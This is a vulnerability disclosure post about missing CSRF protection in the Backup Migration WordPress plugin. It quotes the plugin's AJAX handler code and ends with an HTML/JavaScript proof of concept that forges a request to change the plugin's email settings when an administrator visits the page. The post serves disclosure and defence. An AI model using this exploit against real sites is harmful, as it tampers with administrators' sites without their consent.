Vulnerability Details: Cross-Site Request Forgery (CSRF) in Backup Migration
Today a competing a data source on vulnerabilities in WordPress plugins, Patchstack, released a vague disclosure of a claimed vulnerability in the plugin Backup Migration, which has 20,000+ installs. The only information provided is that it is supposed to be an authenticated persistent cross-site scripting (XSS) vulnerability that was fixed in version 1.1.6 of the plugin.
The changelog entry related to that hints that there wasn’t really a vulnerability, as what it describes sounds like a lot of recent claimed vulnerabilities of this type that involve an Administrator being able to do something they are allowed to do:
Added additional sanitization for e-mail, e-mail title and directory (Thank you @Vlad Visse (Patchstack))
What we found we went to check if that suspicion was correct, is that the plugin lacks protection against cross-site request forgery (CSRF) when taking many actions. That could be combined with cross-site scripting (XSS), but in our testing we didn’t find that the claimed XSS actually existed (due to sanitization already done).
The plugin registers the function ajax() to run through WordPress AJAX functionality for users logged in to WordPress provided they are an Administrator:
102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 | if (!current_user_can('do_backups') && !in_array('administrator', (array) $user->roles)) return; // Include our cool banner include_once BMI_INCLUDES . '/banner/misc.php'; // Review banner if (!is_dir(WP_PLUGIN_DIR . '/backup-backup-pro')) { if (!(class_exists('Inisev\Subs\Inisev_Review') || class_exists('Inisev_Review'))) require_once BMI_ROOT_DIR . '/modules/review/review.php'; $review_banner = new \Inisev\Subs\Inisev_Review(BMI_ROOT_FILE, BMI_ROOT_DIR, 'backup-backup', 'Backup & Migration', 'http://bit.ly/3vdk45L', 'backup-migration'); } // POST Logic if ($_SERVER['REQUEST_METHOD'] === 'POST') { // Register AJAX Handler add_action('wp_ajax_backup_migration', [&$this, 'ajax']); |
That function doesn’t include a nonce check, which prevents CSRF, before taking various actions:
201 202 203 204 205 206 207 208 209 210 211 212 213 214 | public function ajax($cli = false) { if (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest') { if ((isset($_POST['token']) && $_POST['token'] == 'bmi' && isset($_POST['f']) && is_admin()) || $cli) { try { // Extend execution time // $exectime = intval(ini_get('max_execution_time')); // if ($exectime < 16000 && $exectime != 0) set_time_limit(16000); if (!headers_sent()) { @ignore_user_abort(true); @set_time_limit(16000); @ini_set('max_execution_time', '259200'); @ini_set('max_input_time', '259200'); @ini_set('session.gc_maxlifetime', '1200'); } // May cause issues with auto login // if (strlen(session_id()) > 0) session_write_close(); register_shutdown_function([$this, 'execution_shutdown']); // Require AJAX Handler require_once BMI_INCLUDES . '/ajax.php'; $handler = new BMI_Ajax(); |
We have notified the developer of that.
Proof of Concept
The following proof will change the email and email_title settings of the plugin, when logged in to WordPress as an Administrator.
Replace “[path to WordPress]” with the location of WordPress.
<html> <body> <script> var xhr = new XMLHttpRequest(); xhr.open("POST", 'http://[path to WordPress]/wp-admin/admin-ajax.php?action=backup_migration', true); xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest"); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.send("token=bmi&f=save-other-options&email=proof@concept.com&email_title=proof of concept"); </script> </body> </html>